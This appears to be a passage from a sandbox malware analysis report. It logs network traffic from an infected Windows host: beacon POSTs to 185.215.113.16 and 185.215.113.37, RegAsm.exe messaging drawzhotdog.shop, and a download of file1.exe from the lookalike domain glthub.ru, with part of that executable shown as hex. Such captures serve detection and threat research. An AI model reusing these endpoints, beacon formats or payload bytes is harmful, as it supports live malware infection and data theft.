Sep 27, 2024 16:19:19.565349102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 16:19:19.573951960 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:19.801866055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49703	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:19.962932110 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:20.671082020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49711	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:20.932673931 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:21.633794069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49717	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:21.756184101 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:19:22.451908112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49720	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:22.460223913 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:19:23.169670105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:19:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49723	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:23.419711113 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 16:19:24.135261059 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:19:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:19:24.144047976 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 35 45 30 31 35 42 38 41 39 38 32 33 33 33 33 36 34 31 39 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="hwid"A95E015B8A982333364192------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="build"save------AFCBAEBAEBFHCAKFCAKE--
Sep 27, 2024 16:19:24.369328976 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:19:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49726	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:19:26.164427996 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 16:19:26.873886108 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:19:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:19:26.876863003 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHD Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 35 45 30 31 35 42 38 41 39 38 32 33 33 33 33 36 34 31 39 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="hwid"A95E015B8A982333364192------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="build"save------JEBKECAFIDAFIECBKEHD--
Sep 27, 2024 16:19:27.107615948 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:19:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49635	172.67.162.108	443	3620	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 14:18:45 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drawzhotdog.shop
2024-09-27 14:18:45 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-27 14:18:45 UTC	543	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iw7F8FM%2BW0l7WE4BGu89wQimYTMWCThRDWZEWMKXoO3yEz9L%2Beei52PPvz2vgaE3Ty8nfLEQKH9eqLOpEcDejaXNxU3GzL9bPiHUljBmlCtEw2XCmCkq3SWWXUhH20m4w0Mr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c1ff4ea8e19f3-EWR
2024-09-27 14:18:45 UTC	826	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-09-27 14:18:45 UTC	1369	IN	Data Raw: 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 6c 65 72 74 Data Ascii: s.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert
2024-09-27 14:18:45 UTC	1369	IN	Data Raw: 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 75 66 73 77 32 57 6c 6a 67 4e 65 30 48 65 45 6e 78 47 66 75 71 6c 31 66 71 4f 32 57 31 78 42 4e 67 50 42 6d 63 4c 42 58 48 44 45 2d 31 37 32 37 34 34 36 37 32 35 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 Data Ascii: <input type="hidden" name="atok" value="ufsw2WljgNe0HeEnxGfuql1fqO2W1xBNgPBmcLBXHDE-1727446725-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="bac
2024-09-27 14:18:45 UTC	841	IN	Data Raw: 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c 2f 73 70 61 6e 3e Data Ascii: ">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span>
2024-09-27 14:18:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49638	172.67.162.108	443	3620	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 14:18:48 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=ufsw2WljgNe0HeEnxGfuql1fqO2W1xBNgPBmcLBXHDE-1727446725-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: drawzhotdog.shop
2024-09-27 14:18:48 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 54 42 6e 44 6c 48 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=TBnDlH--&j=
2024-09-27 14:18:49 UTC	766	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3uptt4t7k46hnc5eq3s2kblb9l; expires=Tue, 21 Jan 2025 08:05:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Sw7gksJM1Cb5yGg5xyUPAax95tY2ZiqruYTNsQ4Ex8wVDF2Du0vm3wnSp0Hvc%2BJZf7HsPD%2FCrlX5K0jbbdFpM5t8aysvAsO1dewAZLANeySfvu%2F3lQAaHGnEB9JgCoPyvJp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c20070a7443af-EWR
2024-09-27 14:18:49 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-27 14:18:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49644	37.140.192.213	443	5580	C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 14:18:57 UTC	68	OUT	GET /file1.exe HTTP/1.1 Host: glthub.ru Connection: Keep-Alive
2024-09-27 14:18:57 UTC	253	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 14:18:57 GMT Content-Type: application/octet-stream Content-Length: 2766492 Connection: close Last-Modified: Tue, 24 Sep 2024 17:35:38 GMT ETag: "2a369c-622e0ef0279b0" Accept-Ranges: bytes
2024-09-27 14:18:57 UTC	16131	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ed 57 c9 ba a9 36 a7 e9 a9 36 a7 e9 a9 36 a7 e9 1d aa 56 e9 a4 36 a7 e9 1d aa 54 e9 27 36 a7 e9 1d aa 55 e9 b1 36 a7 e9 29 4d 5a e9 ab 36 a7 e9 29 4d a3 e8 ba 36 a7 e9 29 4d a4 e8 bf 36 a7 e9 29 4d a2 e8 9c 36 a7 e9 a0 4e 24 e9 a2 36 a7 e9 a0 4e 34 e9 ae 36 a7 e9 a9 36 a6 e9 b3 37 a7 e9 27 4d a2 e8 98 36 a7 e9 27 4d a7 e8 a8 36 a7 e9 27 4d 58 e9 a8 36 a7 e9 27 4d a5 e8 a8 36 a7 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$W666V6T'6U6)MZ6)M6)M6)M6N$6N4667'M6'M6'MX6'M6
2024-09-27 14:18:57 UTC	16384	IN	Data Raw: 2b 06 50 ff 36 e8 ce c8 ff ff 33 c0 89 06 89 46 04 89 46 08 5e c3 56 8b f1 83 3e 00 74 1a 8b 46 08 2b 06 83 e0 fe 50 ff 36 e8 aa c8 ff ff 33 c0 89 06 89 46 04 89 46 08 5e c3 68 a8 66 43 00 e8 26 c5 01 00 cc 68 c0 66 43 00 e8 1b c5 01 00 cc 55 8b ec 51 56 8b f1 57 8b 7d 0c 3b 7e 14 77 23 83 7e 14 08 53 8b de 72 02 8b 1e 57 ff 75 08 89 7e 10 53 e8 21 00 00 00 33 c0 66 89 04 7b 8b c6 5b eb 10 ff 75 08 c6 45 fc 00 ff 75 fc 57 e8 6a d7 ff ff 5f 5e c9 c2 08 00 8b 44 24 0c 03 c0 50 ff 74 24 0c ff 74 24 0c e8 a0 f6 01 00 8b 44 24 10 83 c4 0c c2 0c 00 cc cc cc cc cc cc 8b 41 04 85 c0 75 05 b8 7c 66 43 00 c3 b8 30 30 44 00 c3 55 8b ec ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 e3 ff ff ff ff 70 04 ff 30 e8 7e 3b 02 00 83 c4 1c 85 c0 79 03 83 c8 ff 5d c3 8d 44 Data Ascii: +P63FF^V>tF+P63FF^hfC&hfCUQVW};~w#~SrWu~S!3f{[uEuWj_^D$Pt$t$D$Au\|fC00DUuuuuup0~;y]D
2024-09-27 14:18:57 UTC	16384	IN	Data Raw: 74 27 57 ff 74 24 14 56 e8 e8 fd 01 00 83 c4 0c 85 c0 75 15 8d 34 7e eb 03 83 c6 02 0f b7 06 50 e8 9a 51 00 00 84 c0 75 f0 56 e8 e4 f3 ff ff 39 6c 24 14 7c 06 3b c5 7c 02 b3 01 8a c3 eb 02 32 c0 5f 5e 5d 5b 59 59 c2 10 00 55 8b ec b8 4c 20 00 00 e8 36 8a 01 00 a1 7c 27 44 00 33 c5 89 45 fc 56 8b 75 08 56 e8 c5 d8 01 00 59 b9 00 08 00 00 3b c1 73 7d 51 56 8d 85 fc ef ff ff 50 e8 05 9b 00 00 8d 85 fc ef ff ff 50 e8 a1 d8 01 00 59 8d b4 45 fa ef ff ff eb 4b 0f b7 06 50 e8 1d 51 00 00 84 c0 74 3b 33 c0 8d 8d b4 df ff ff 66 89 06 e8 34 f3 ff ff 6a 01 8d 85 b4 df ff ff 50 8d 85 fc ef ff ff 50 e8 ac 37 00 00 84 c0 74 12 80 bd c1 ef ff ff 00 75 1a 80 bd c0 ef ff ff 00 74 11 83 ee 02 8d 85 fc ef ff ff 3b f0 77 ab 32 c0 eb 02 b0 01 8b 4d fc 33 cd 5e e8 f7 84 01 00 Data Ascii: t'Wt$Vu4~PQuV9l$\|;\|2_^][YYUL 6\|'D3EVuVY;s}QVPPYEKPQt;3f4jPP7tut;w2M3^
2024-09-27 14:18:57 UTC	16384	IN	Data Raw: 8b f1 3b 74 24 08 74 10 e8 69 56 ff ff ff 74 24 08 8b ce e8 7c 01 00 00 8b c6 5e c2 04 00 53 8b 5c 24 08 55 8b e9 56 57 6a 05 59 8b f3 8b fd f3 a5 66 8b 43 14 66 89 45 14 8b 43 18 89 45 18 8a 43 1c 88 45 1c 8a 43 1d 88 45 1d 8a 43 1e 88 45 1e 8b 43 20 8b 4b 24 89 45 20 89 4d 24 8b 43 28 8b 4b 2c 89 45 28 89 4d 2c 8b 43 30 8b 4b 34 89 45 30 89 4d 34 8b 43 38 8b 4b 3c 89 45 38 89 4d 3c 8d 4d 44 8b 43 40 89 45 40 8d 43 44 50 e8 6c ff ff ff 8b 43 60 8b 4b 64 5f 89 45 60 8b c5 5e 89 4d 64 5d 5b c2 04 00 53 56 ff 74 24 0c 8b f1 8d 8e 28 10 00 00 e8 1c 5a ff ff 33 db 8d 8e 68 10 00 00 53 88 5e 10 e8 e7 fd ff ff 89 9e 38 10 00 00 89 9e 3c 10 00 00 89 9e 48 10 00 00 89 9e 4c 10 00 00 89 9e 40 10 00 00 89 9e 44 10 00 00 89 9e 90 10 00 00 89 5e 24 89 9e 94 10 00 00 Data Ascii: ;t$tiVt$\|^S\$UVWjYfCfECECECECEC K$E M$C(K,E(M,C0K4E0M4C8K<E8M<MDC@E@CDPlC`Kd_E`^Md][SVt$(Z3hS^8<HL@D^$
2024-09-27 14:18:57 UTC	16384	IN	Data Raw: 8b 46 f8 33 c5 8b 16 33 54 24 30 89 44 24 10 8b 46 04 33 c1 8b 5e fc 89 44 24 14 33 df 8b 74 24 14 8b c2 c1 e8 10 0f b6 c8 8b c6 c1 e8 08 0f b6 c0 8b 2c 8d f0 a9 44 00 33 2c 85 f0 a5 44 00 8b c3 c1 e8 18 33 2c 85 f0 ad 44 00 8b 44 24 10 0f b6 c0 33 2c 85 f0 a1 44 00 8b c6 c1 e8 10 0f b6 c8 8b 44 24 10 c1 e8 08 0f b6 c0 8b 3c 8d f0 a9 44 00 89 6c 24 20 33 3c 85 f0 a5 44 00 8b c2 c1 e8 18 33 3c 85 f0 ad 44 00 0f b6 c3 33 3c 85 f0 a1 44 00 8b c3 c1 e8 08 0f b6 c8 8b 44 24 10 c1 e8 10 0f b6 c0 8b 0c 8d f0 a5 44 00 c1 eb 10 89 7c 24 24 33 0c 85 f0 a9 44 00 8b c6 c1 e8 18 33 0c 85 f0 ad 44 00 0f b6 c2 c1 ea 08 33 0c 85 f0 a1 44 00 89 4c 24 30 89 4c 24 28 0f b6 cb 0f b6 c2 8b 0c 8d f0 a9 44 00 33 0c 85 f0 a5 44 00 8b 44 24 10 c1 e8 18 33 0c 85 f0 ad 44 00 8b c6 Data Ascii: F33T$0D$F3^D$3t$,D3,D3,DD$3,DD$<Dl$ 3<D3<D3<DD$D\|$$3D3D3DL$0L$(D3DD$3D
